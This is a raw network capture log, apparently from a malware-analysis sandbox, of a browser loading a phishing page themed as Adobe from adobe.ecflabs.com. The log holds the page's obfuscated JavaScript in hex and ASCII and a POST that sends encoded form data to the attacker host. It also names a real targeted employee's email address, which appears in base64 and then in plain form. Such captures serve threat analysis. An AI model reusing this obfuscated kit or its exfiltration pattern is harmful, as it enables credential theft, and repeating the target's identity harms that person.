2025-04-28 07:04:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49747	212.81.47.195	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:04:55 UTC	623	OUT	GET /adobe/?organisation=&des=ZmF2aWNvbi5pY28= HTTP/1.1 Host: adobe.ecflabs.com Connection: keep-alive sec-ch-ua-platform: "Windows" sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:04:57 UTC	177	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Apr 2025 07:04:57 GMT Content-Type: text/html; charset=utf-8 Content-Length: 426833 Connection: close Vary: Accept-Encoding
2025-04-28 07:04:57 UTC	14343	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 28 66 75 6e 63 74 69 6f 6e 28 70 2c 44 29 7b 76 61 72 20 62 3d 70 28 29 3b 66 75 6e 63 74 69 6f 6e 20 45 7a 28 70 2c 44 29 7b 72 65 74 75 72 6e 20 61 30 54 28 70 2d 20 2d 30 78 31 35 37 2c 44 29 3b 7d 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 76 61 72 20 68 3d 2d 70 61 72 73 65 49 6e 74 28 45 7a 28 30 78 35 64 61 2c 30 78 36 65 62 29 29 2f 30 78 31 2a 28 70 61 72 73 65 49 6e 74 28 45 7a 28 30 78 31 66 33 2c 30 78 33 31 64 29 29 2f 30 78 32 29 2b 70 61 72 73 65 49 6e 74 28 45 7a 28 30 78 35 32 38 2c 30 78 37 32 65 29 29 Data Ascii: <!DOCTYPE html><html lang="en"> <head> <script type="text/javascript"> (function(p,D){var b=p();function Ez(p,D){return a0T(p- -0x157,D);}while(!![]){try{var h=-parseInt(Ez(0x5da,0x6eb))/0x1*(parseInt(Ez(0x1f3,0x31d))/0x2)+parseInt(Ez(0x528,0x72e))
2025-04-28 07:04:57 UTC	16384	IN	Data Raw: 38 33 30 52 71 6c 4a 71 59 27 2c 27 65 6e 64 27 2c 27 72 65 73 6f 6c 76 65 64 4f 70 74 69 6f 6e 73 27 2c 27 42 61 6a 59 43 41 45 45 42 49 51 59 4c 49 41 55 67 43 44 59 43 42 43 41 46 49 41 59 32 41 27 2c 27 74 73 59 4c 4b 27 2c 27 78 43 71 41 53 41 42 4b 41 49 49 49 51 59 43 51 43 41 42 4c 51 41 4d 49 67 4e 42 41 30 59 27 2c 27 64 69 73 70 6c 61 79 27 2c 27 41 61 69 49 4a 49 41 59 6f 41 67 68 42 78 4d 66 41 41 42 44 70 41 69 41 47 51 52 42 71 4a 27 2c 27 69 66 72 61 6d 65 27 2c 27 67 49 41 49 41 49 74 41 41 41 69 41 63 42 42 41 45 34 4e 41 43 41 41 49 41 4a 42 41 6d 6f 27 2c 27 44 49 41 46 42 43 47 6f 51 78 67 49 67 41 6b 45 51 61 69 49 45 49 41 45 6f 41 67 67 69 45 27 2c 27 42 44 47 6f 69 45 45 45 41 4e 67 49 41 49 41 78 43 67 49 43 41 67 42 41 33 41 67 Data Ascii: 830RqlJqY','end','resolvedOptions','BajYCAEEBIQYLIAUgCDYCBCAFIAY2A','tsYLK','xCqASABKAIIIQYCQCABLQAMIgNBA0Y','display','AaiIJIAYoAghBxMfAABDpAiAGQRBqJ','iframe','gIAIAItAAAiAcBBAE4NACAAIAJBAmo','DIAFBCGoQxgIgAkEQaiIEIAEoAggiE','BDGoiEEEANgIAIAxCgICAgBA3Ag

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49748	212.81.47.195	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:04:55 UTC	785	OUT	GET /adobe/?organisation=daiichi-sankyo.eu&des=c3RlZmFuLnNleWZyaWVkQGRhaWljaGktc2Fua3lvLmV1 HTTP/1.1 Host: adobe.ecflabs.com Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:04:58 UTC	177	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Apr 2025 07:04:57 GMT Content-Type: text/html; charset=utf-8 Content-Length: 426833 Connection: close Vary: Accept-Encoding
2025-04-28 07:04:58 UTC	16202	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 28 66 75 6e 63 74 69 6f 6e 28 70 2c 44 29 7b 76 61 72 20 62 3d 70 28 29 3b 66 75 6e 63 74 69 6f 6e 20 45 7a 28 70 2c 44 29 7b 72 65 74 75 72 6e 20 61 30 54 28 70 2d 20 2d 30 78 31 35 37 2c 44 29 3b 7d 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 76 61 72 20 68 3d 2d 70 61 72 73 65 49 6e 74 28 45 7a 28 30 78 35 64 61 2c 30 78 36 65 62 29 29 2f 30 78 31 2a 28 70 61 72 73 65 49 6e 74 28 45 7a 28 30 78 31 66 33 2c 30 78 33 31 64 29 29 2f 30 78 32 29 2b 70 61 72 73 65 49 6e 74 28 45 7a 28 30 78 35 32 38 2c 30 78 37 32 65 29 29 Data Ascii: <!DOCTYPE html><html lang="en"> <head> <script type="text/javascript"> (function(p,D){var b=p();function Ez(p,D){return a0T(p- -0x157,D);}while(!![]){try{var h=-parseInt(Ez(0x5da,0x6eb))/0x1*(parseInt(Ez(0x1f3,0x31d))/0x2)+parseInt(Ez(0x528,0x72e))
2025-04-28 07:04:58 UTC	16384	IN	Data Raw: 49 30 68 42 74 27 2c 27 42 67 49 43 41 45 44 63 44 41 43 41 43 51 51 68 71 49 41 42 42 79 41 49 51 64 78 6f 4c 51 27 2c 27 68 45 54 78 56 67 69 4b 77 6c 39 65 72 38 74 2f 72 6a 4a 65 54 30 63 64 6d 71 74 54 75 2b 27 2c 27 43 41 41 51 51 45 36 41 41 51 67 41 43 41 42 4e 67 49 41 44 41 49 4c 49 41 4e 42 43 47 6f 27 2c 27 46 4e 67 49 49 44 41 45 4c 49 41 45 6f 41 67 51 69 41 69 41 44 51 51 4a 30 61 69 41 43 49 27 2c 27 6c 6f 67 27 2c 27 63 6f 6c 6f 72 44 65 70 74 68 27 2c 27 74 75 54 41 46 27 2c 27 46 45 41 4d 46 43 31 6b 49 41 68 31 69 48 6b 67 49 43 6f 43 6d 58 69 4a 46 43 77 6f 47 44 27 2c 27 53 41 4b 51 52 78 71 49 51 6b 43 51 41 4a 41 49 41 4a 46 44 51 41 67 41 6b 45 48 61 79 49 27 2c 27 6f 41 67 77 51 67 51 4d 67 41 42 43 55 41 67 77 42 43 79 41 42 49 Data Ascii: I0hBt','BgICAEDcDACACQQhqIABByAIQdxoLQ','hETxVgiKwl9er8t/rjJeT0cdmqtTu+','CAAQQE6AAQgACABNgIADAILIANBCGo','FNgIIDAELIAEoAgQiAiADQQJ0aiACI','log','colorDepth','tuTAF','FEAMFC1kIAh1iHkgICoCmXiJFCwoGD','SAKQRxqIQkCQAJAIAJFDQAgAkEHayI','oAgwQgQMgABCUAgwBCyABI
2025-04-28 07:04:58 UTC	16384	IN	Data Raw: 66 59 27 2c 27 6c 61 6e 64 73 63 61 70 65 2d 70 72 69 6d 61 72 79 27 2c 27 67 77 67 41 6b 48 51 72 4d 41 41 4e 67 49 34 49 41 4a 42 41 7a 6f 41 4d 43 41 43 51 69 41 27 2c 27 64 65 73 74 69 6e 61 74 69 6f 6e 27 2c 27 59 66 64 43 57 27 2c 27 71 52 47 6e 61 27 2c 27 45 45 67 61 79 49 42 4a 41 41 67 41 55 45 49 61 69 49 46 49 41 4a 42 43 47 6f 70 41 67 41 27 2c 27 4a 47 78 42 33 47 69 41 41 49 41 49 67 41 52 43 68 41 51 73 67 42 41 73 51 41 43 41 41 49 27 2c 27 69 6e 64 65 78 4f 66 27 2c 27 41 79 41 5a 42 41 57 73 4f 41 77 77 43 41 51 41 4c 49 41 42 42 6f 41 4e 71 49 41 42 42 6f 27 2c 27 51 53 62 76 75 27 2c 27 62 61 73 65 55 52 49 27 2c 27 41 53 5f 45 4e 54 52 49 45 53 27 2c 27 67 41 69 41 44 4e 67 4c 49 41 53 41 43 49 41 63 32 41 73 51 42 49 41 49 67 43 54 Data Ascii: fY','landscape-primary','gwgAkHQrMAANgI4IAJBAzoAMCACQiA','destination','YfdCW','qRGna','EEgayIBJAAgAUEIaiIFIAJBCGopAgA','JGxB3GiAAIAIgARChAQsgBAsQACAAI','indexOf','AyAZBAWsOAwwCAQALIABBoANqIABBo','QSbvu','baseURI','AS_ENTRIES','gAiADNgLIASACIAc2AsQBIAIgCT
2025-04-28 07:04:58 UTC	16384	IN	Data Raw: 29 3b 7d 63 61 74 63 68 28 70 54 29 7b 70 70 28 70 45 2c 70 54 2c 70 44 29 3b 7d 7d 29 3a 28 58 5b 27 76 61 6c 75 65 27 5d 3d 42 2c 76 5b 45 4a 28 30 78 33 61 39 2c 30 78 32 64 66 29 5d 3d 30 78 31 2c 57 28 73 2c 21 30 78 31 29 29 3b 7d 65 6c 73 65 20 51 3d 77 69 6e 64 6f 77 3b 7d 72 65 74 75 72 6e 20 51 3b 7d 2c 44 3d 70 28 29 2c 62 3d 44 5b 27 63 6f 6e 73 6f 6c 65 27 5d 3d 44 5b 27 63 6f 6e 73 6f 6c 65 27 5d 7c 7c 7b 7d 2c 68 3d 5b 27 6c 6f 67 27 2c 45 61 28 30 78 34 61 39 2c 30 78 33 63 30 29 2c 45 61 28 30 78 34 33 39 2c 30 78 31 39 63 29 2c 27 65 72 72 6f 72 27 2c 27 65 78 63 65 70 74 69 6f 6e 27 2c 45 61 28 30 78 35 36 34 2c 30 78 32 33 66 29 2c 27 74 72 61 63 65 27 5d 3b 66 6f 72 28 76 61 72 20 45 3d 30 78 30 3b 45 3c 68 5b 27 6c 65 6e 67 74 68 27 Data Ascii: );}catch(pT){pp(pE,pT,pD);}}):(X['value']=B,v[EJ(0x3a9,0x2df)]=0x1,W(s,!0x1));}else Q=window;}return Q;},D=p(),b=D['console']=D['console']\|\|{},h=['log',Ea(0x4a9,0x3c0),Ea(0x439,0x19c),'error','exception',Ea(0x564,0x23f),'trace'];for(var E=0x0;E<h['length'
2025-04-28 07:04:58 UTC	16384	IN	Data Raw: 2e 72 75 29 27 2c 27 6c 69 63 65 6e 73 65 27 3a 27 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 7a 6c 6f 69 72 6f 63 6b 2f 63 6f 27 2b 27 72 65 2d 6a 73 2f 62 6c 6f 62 2f 76 33 2e 34 31 2e 30 2f 4c 49 43 45 4e 53 45 27 2c 27 73 6f 75 72 63 65 27 3a 27 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 7a 6c 6f 69 72 6f 63 6b 2f 63 6f 27 2b 27 72 65 2d 6a 73 27 7d 29 3b 7d 2c 30 78 37 33 62 3a 28 68 41 2c 68 6c 2c 68 72 29 3d 3e 7b 76 61 72 20 68 6d 2c 68 47 2c 68 71 2c 68 4f 3d 68 72 28 30 78 32 31 31 39 29 2c 68 4d 3d 68 72 28 30 78 35 63 62 29 2c 68 67 3d 68 72 28 30 78 36 61 38 29 2c 68 49 3d 68 72 28 30 78 31 34 61 61 29 2c 68 75 3d 68 72 28 30 78 63 36 64 29 2c 68 6a 3d 68 72 28 30 78 31 65 65 61 29 2c 68 48 3d 68 72 28 30 78 31 29 Data Ascii: .ru)','license':'https://github.com/zloirock/co'+'re-js/blob/v3.41.0/LICENSE','source':'https://github.com/zloirock/co'+'re-js'});},0x73b:(hA,hl,hr)=>{var hm,hG,hq,hO=hr(0x2119),hM=hr(0x5cb),hg=hr(0x6a8),hI=hr(0x14aa),hu=hr(0xc6d),hj=hr(0x1eea),hH=hr(0x1)
2025-04-28 07:04:58 UTC	16384	IN	Data Raw: 6d 63 71 58 31 39 33 59 6d 64 66 61 47 46 79 5a 48 64 68 63 6d 56 44 62 32 35 6a 64 58 4a 27 2b 27 79 5a 57 35 6a 65 56 39 6c 4f 44 51 77 4d 6a 67 78 4d 44 59 77 59 32 51 78 4f 54 55 7a 41 27 2b 54 78 28 30 78 37 65 2c 30 78 62 35 29 2b 27 79 65 56 38 31 4e 32 55 31 4e 7a 59 7a 5a 44 64 6c 5a 6d 55 78 4f 57 4a 6a 41 41 73 44 64 27 2b 27 32 4a 6e 48 31 39 66 64 32 4a 6e 58 33 42 73 59 58 52 6d 62 33 4a 74 58 32 5a 68 5a 6a 41 27 2b 27 79 59 7a 51 34 4e 7a 49 34 4f 57 59 79 4d 44 59 41 41 67 4e 33 59 6d 63 67 58 31 39 33 59 27 2b 27 6d 64 66 64 58 4e 6c 63 6b 46 6e 5a 57 35 30 58 7a 45 79 5a 54 6c 6b 4f 47 55 32 4d 6a 49 27 2b 27 35 4e 7a 55 32 4d 32 59 41 41 67 4e 33 59 6d 63 66 58 31 39 33 59 6d 64 66 62 47 46 75 5a 27 2b 54 78 28 30 78 33 30 34 2c 30 78 Data Ascii: mcqX193YmdfaGFyZHdhcmVDb25jdXJ'+'yZW5jeV9lODQwMjgxMDYwY2QxOTUzA'+Tx(0x7e,0xb5)+'yeV81N2U1NzYzZDdlZmUxOWJjAAsDd'+'2JnH19fd2JnX3BsYXRmb3JtX2ZhZjA'+'yYzQ4NzI4OWYyMDYAAgN3YmcgX193Y'+'mdfdXNlckFnZW50XzEyZTlkOGU2MjI'+'5NzU2M2YAAgN3YmcfX193YmdfbGFuZ'+Tx(0x304,0x
2025-04-28 07:04:58 UTC	16384	IN	Data Raw: 49 52 41 44 51 43 41 27 29 2b 28 27 4e 51 51 41 32 41 67 41 67 44 55 45 30 61 6b 45 41 4f 67 41 41 49 41 31 42 42 47 6f 67 41 27 2b 54 78 28 30 78 63 34 2c 30 78 31 64 36 29 2b 27 42 41 57 73 69 42 41 30 41 43 77 73 67 45 53 41 51 4e 67 49 41 49 41 35 42 45 47 6f 6b 41 27 2b 27 43 41 46 51 51 68 71 49 42 4d 6f 41 67 41 32 41 67 41 67 42 53 41 44 4b 51 49 55 4e 77 49 27 2b 27 41 49 41 4e 42 49 47 6f 6b 41 43 4d 41 51 52 42 72 49 67 49 6b 41 41 4a 41 41 6b 41 67 42 27 2b 27 30 45 49 61 69 49 45 49 41 55 6f 41 67 67 69 41 79 41 46 4b 41 49 41 53 51 52 2f 49 41 4a 27 2b 27 42 43 47 6f 67 42 53 41 44 51 51 52 42 4f 42 44 45 41 53 41 43 4b 41 49 49 49 67 4e 42 67 27 2b 27 59 43 41 67 48 68 48 44 51 45 67 42 53 67 43 43 41 55 67 41 77 73 32 41 67 51 67 42 43 41 Data Ascii: IRADQCA')+('NQQA2AgAgDUE0akEAOgAAIA1BBGogA'+Tx(0xc4,0x1d6)+'BAWsiBA0ACwsgESAQNgIAIA5BEGokA'+'CAFQQhqIBMoAgA2AgAgBSADKQIUNwI'+'AIANBIGokACMAQRBrIgIkAAJAAkAgB'+'0EIaiIEIAUoAggiAyAFKAIASQR/IAJ'+'BCGogBSADQQRBOBDEASACKAIIIgNBg'+'YCAgHhHDQEgBSgCCAUgAws2AgQgBCA
2025-04-28 07:04:58 UTC	16384	IN	Data Raw: 41 74 4f 51 4d 27 2b 27 6f 49 41 51 67 4c 44 6b 44 49 43 41 45 49 43 73 35 41 78 67 67 42 43 41 71 4f 51 4d 51 49 27 2b 27 41 51 67 4b 54 6b 44 43 43 41 45 49 43 55 33 41 77 41 4c 49 41 4a 42 51 47 73 6b 41 41 4a 27 2b 54 78 28 30 78 32 62 35 2c 30 78 34 61 30 29 2b 54 78 28 30 78 34 32 62 2c 30 78 34 31 65 29 2b 27 49 4b 41 49 41 51 66 2f 2f 2f 2f 38 48 61 69 49 43 49 41 4a 42 41 30 38 62 51 51 46 72 44 27 2b 27 67 49 42 42 41 41 4c 41 6e 38 43 51 43 41 49 4c 51 41 45 52 51 52 41 49 41 56 42 47 47 6f 27 2b 27 51 34 41 45 67 42 53 67 43 47 45 45 42 63 55 55 4e 42 43 41 46 49 41 55 6f 41 68 77 32 41 27 2b 27 6b 41 67 42 55 45 51 61 69 41 46 51 55 42 72 45 50 4d 43 49 41 55 6f 41 68 42 42 41 58 46 27 2b 27 46 44 51 55 67 43 45 45 45 61 69 45 4e 49 41 55 67 Data Ascii: AtOQM'+'oIAQgLDkDICAEICs5AxggBCAqOQMQI'+'AQgKTkDCCAEICU3AwALIAJBQGskAAJ'+Tx(0x2b5,0x4a0)+Tx(0x42b,0x41e)+'IKAIAQf////8HaiICIAJBA08bQQFrD'+'gIBBAALAn8CQCAILQAERQRAIAVBGGo'+'Q4AEgBSgCGEEBcUUNBCAFIAUoAhw2A'+'kAgBUEQaiAFQUBrEPMCIAUoAhBBAXF'+'FDQUgCEEEaiENIAUg
2025-04-28 07:04:58 UTC	16384	IN	Data Raw: 47 6f 6f 41 67 41 32 41 41 41 67 42 6b 45 45 4f 67 41 41 49 27 2b 27 41 45 67 41 53 6b 44 41 44 63 41 45 79 41 47 49 41 45 70 41 42 41 33 41 41 45 67 42 6b 45 27 2b 27 49 61 69 41 42 51 52 64 71 4b 51 41 41 4e 77 41 41 43 79 41 42 51 53 42 71 4a 41 41 43 51 27 2b 27 41 4a 41 41 6b 41 67 43 53 30 41 51 45 45 47 52 77 52 41 49 41 6c 42 69 41 46 71 49 67 4d 27 2b 27 67 43 55 48 51 41 47 6f 69 41 53 6b 44 41 44 63 44 41 43 41 4a 51 59 41 42 61 69 49 45 49 27 2b 27 41 38 70 41 77 41 33 41 77 41 67 43 53 41 4a 4b 51 4e 41 4e 77 4e 34 49 41 59 67 43 55 45 27 2b 27 67 61 68 44 44 41 69 41 4a 4c 51 42 41 51 51 5a 47 44 51 45 67 43 55 47 67 41 57 6f 69 44 27 2b 27 43 41 42 4b 51 4d 41 4e 77 4d 41 49 41 6c 42 6d 41 46 71 49 67 55 67 44 79 6b 44 41 44 63 27 2b 27 44 Data Ascii: GooAgA2AAAgBkEEOgAAI'+'AEgASkDADcAEyAGIAEpABA3AAEgBkE'+'IaiABQRdqKQAANwAACyABQSBqJAACQ'+'AJAAkAgCS0AQEEGRwRAIAlBiAFqIgM'+'gCUHQAGoiASkDADcDACAJQYABaiIEI'+'A8pAwA3AwAgCSAJKQNANwN4IAYgCUE'+'gahDDAiAJLQBAQQZGDQEgCUGgAWoiD'+'CABKQMANwMAIAlBmAFqIgUgDykDADc'+'D
2025-04-28 07:04:58 UTC	16384	IN	Data Raw: 45 4e 41 27 2b 27 43 41 41 51 52 42 71 51 66 6a 5a 77 41 41 51 6d 51 49 67 41 43 67 43 45 43 45 43 49 41 41 27 2b 54 78 28 30 78 63 35 2c 2d 30 78 32 61 37 29 2b 27 6a 68 42 41 53 45 44 49 41 4a 42 41 58 46 46 44 51 45 4c 49 41 41 67 41 54 59 43 4c 43 41 27 2b 27 41 51 51 45 32 41 69 67 67 41 45 45 73 61 69 45 46 44 41 45 4c 49 41 42 42 43 47 70 42 68 27 2b 27 4e 72 41 41 42 43 5a 41 69 41 41 4b 41 49 49 49 51 49 67 41 43 67 43 44 43 45 42 49 41 42 27 2b 27 42 4f 47 6f 51 67 41 4d 67 41 43 41 42 4e 67 49 73 49 41 41 67 41 6a 59 43 4b 43 41 41 51 27 2b 27 53 78 71 49 51 55 67 41 6b 45 42 52 77 30 42 43 79 41 41 49 41 45 32 41 6a 68 42 41 53 45 27 2b 27 43 49 41 45 51 43 45 45 42 52 77 30 42 49 41 42 42 4f 47 6f 51 2f 77 4a 42 41 43 45 44 43 27 2b 27 79 41 Data Ascii: ENA'+'CAAQRBqQfjZwAAQmQIgACgCECECIAA'+Tx(0xc5,-0x2a7)+'jhBASEDIAJBAXFFDQELIAAgATYCLCA'+'AQQE2AiggAEEsaiEFDAELIABBCGpBh'+'NrAABCZAiAAKAIIIQIgACgCDCEBIAB'+'BOGoQgAMgACABNgIsIAAgAjYCKCAAQ'+'SxqIQUgAkEBRw0BCyAAIAE2AjhBASE'+'CIAEQCEEBRw0BIABBOGoQ/wJBACEDC'+'yA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49751	212.81.47.195	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:05:00 UTC	997	OUT	POST /adobe/?organisation=daiichi-sankyo.eu&des=c3RlZmFuLnNleWZyaWVkQGRhaWljaGktc2Fua3lvLmV1 HTTP/1.1 Host: adobe.ecflabs.com Connection: keep-alive Content-Length: 16895 Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Origin: https://adobe.ecflabs.com Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://adobe.ecflabs.com/adobe/?organisation=daiichi-sankyo.eu&des=c3RlZmFuLnNleWZyaWVkQGRhaWljaGktc2Fua3lvLmV1 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:05:00 UTC	16384	OUT	Data Raw: 6d 74 7a 70 65 66 76 6e 72 77 62 3d 59 57 39 30 64 6d 5a 70 62 33 70 76 63 48 68 6f 64 6d 35 6f 65 48 52 77 59 6d 74 6c 5a 6d 70 75 63 6d 4e 35 63 48 42 69 63 6d 6c 68 5a 33 56 34 62 6e 70 6d 5a 47 39 7a 5a 58 68 78 63 6d 31 6a 62 32 31 6f 59 6e 56 69 65 47 5a 6e 26 6e 78 76 72 6b 7a 77 62 6b 71 6e 3d 61 57 5a 73 5a 57 4e 72 61 47 4a 6d 63 47 68 33 5a 58 64 6e 62 58 64 32 59 58 4e 68 5a 58 4e 77 64 58 68 73 63 33 6c 6d 62 58 64 6d 5a 33 42 6c 61 33 64 35 59 6d 6c 70 63 33 4e 35 62 58 64 71 65 58 59 25 33 44 26 4f 6d 7a 4a 54 57 3d 57 31 73 69 4d 6a 55 30 4d 7a 4d 79 4d 6a 55 7a 4f 43 49 73 49 6a 4d 78 4d 6a 55 7a 4d 6a 4d 34 4d 6a 55 69 4c 43 49 7a 4e 7a 51 32 4e 6d 45 32 4d 6a 49 31 49 69 77 69 4d 7a 49 7a 4d 54 51 35 4d 6a 55 7a 4d 69 49 73 49 6a 51 7a Data Ascii: mtzpefvnrwb=YW90dmZpb3pvcHhodm5oeHRwYmtlZmpucmN5cHBicmlhZ3V4bnpmZG9zZXhxcm1jb21oYnVieGZn&nxvrkzwbkqn=aWZsZWNraGJmcGh3ZXdnbXd2YXNhZXNwdXhsc3lmbXdmZ3Bla3d5Ymlpc3N5bXdqeXY%3D&OmzJTW=W1siMjU0MzMyMjUzOCIsIjMxMjUzMjM4MjUiLCIzNzQ2NmE2MjI1IiwiMzIzMTQ5MjUzMiIsIjQz
2025-04-28 07:05:00 UTC	511	OUT	Data Raw: 7a 49 69 4c 43 49 7a 4d 54 51 35 4d 7a 59 30 59 7a 52 6c 49 69 77 69 4d 6a 55 7a 4d 6a 4d 33 4d 6a 55 7a 4d 69 49 73 49 6a 4d 32 4d 6a 55 7a 4d 7a 51 79 4d 6a 55 69 4c 43 49 7a 4d 6a 4d 79 4d 6a 55 7a 4e 54 51 7a 49 69 77 69 4d 6a 55 7a 4e 7a 51 30 4e 6a 59 32 59 79 49 73 49 6a 49 31 4d 7a 63 30 4e 54 49 31 4d 7a 55 69 4c 43 49 30 4e 54 5a 6c 4e 6a 63 32 59 7a 5a 6c 49 69 77 69 4e 7a 41 79 4e 54 4d 79 4e 44 59 32 4d 79 49 73 49 6a 49 31 4d 7a 63 30 4d 7a 5a 68 4d 6a 55 69 4c 43 49 7a 4e 7a 51 7a 4e 6a 49 33 4f 44 49 31 49 69 77 69 4d 7a 49 30 4d 6a 49 31 4d 7a 49 30 4e 69 49 73 49 6a 4d 79 4d 6a 55 7a 4d 6a 4d 34 4d 6a 55 69 4c 43 49 7a 4e 7a 51 79 4e 6d 55 79 4e 54 4d 32 49 69 77 69 4d 7a 41 32 4e 44 49 31 4d 7a 63 30 4d 69 49 73 49 6a 59 78 4e 7a 6b 32 Data Ascii: zIiLCIzMTQ5MzY0YzRlIiwiMjUzMjM3MjUzMiIsIjM2MjUzMzQyMjUiLCIzMjMyMjUzNTQzIiwiMjUzNzQ0NjY2YyIsIjI1Mzc0NTI1MzUiLCI0NTZlNjc2YzZlIiwiNzAyNTMyNDY2MyIsIjI1Mzc0MzZhMjUiLCIzNzQzNjI3ODI1IiwiMzI0MjI1MzI0NiIsIjMyMjUzMjM4MjUiLCIzNzQyNmUyNTM2IiwiMzA2NDI1Mzc0MiIsIjYxNzk2
2025-04-28 07:05:02 UTC	322	IN	HTTP/1.1 302 Found Server: nginx Date: Mon, 28 Apr 2025 07:05:01 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close referrer-policy: no-referrer location: https://login.microsoftonline.com/jsdisabled/adobe?organisation=daiichi-sankyo.eu&username=stefan.seyfried%40daiichi-sankyo.eu#/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49754	20.190.190.194	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:05:02 UTC	779	OUT	GET /jsdisabled/adobe?organisation=daiichi-sankyo.eu&username=stefan.seyfried%40daiichi-sankyo.eu HTTP/1.1 Host: login.microsoftonline.com Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:05:03 UTC	1337	IN	HTTP/1.1 404 Not Found Cache-Control: private Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Strict-Transport-Security: max-age=31536000; includeSubDomains X-Content-Type-Options: nosniff P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: b04c4034-c9e7-4a82-bbfc-aee373d60700 x-ms-ests-server: 2.1.20602.11 - NCUS ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+wst"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy-Report-Only: object-src 'none'; base-uri 'self'; script-src 'self' 'nonce-AUcTN9os2hJyUQ0WlPxRkA' 'unsafe-inline' 'unsafe-eval' https://.msauth.net https://.msftauth.net https://.msftauthimages.net https://.msauthimages.net https://.msidentity.com https://.microsoftonline-p.com https://.microsoftazuread-sso.com https://.azureedge.net https://.outlook.com https://.office.com https://.office365.com https://.microsoft.com https://*.bing.com 'report-sample'; report-uri https://csp.microsoft.com/report/ESTS-UX-All X-XSS-Protection: 0 Date: Mon, 28 Apr 2025 07:05:02 GMT Connection: close Content-Length: 0

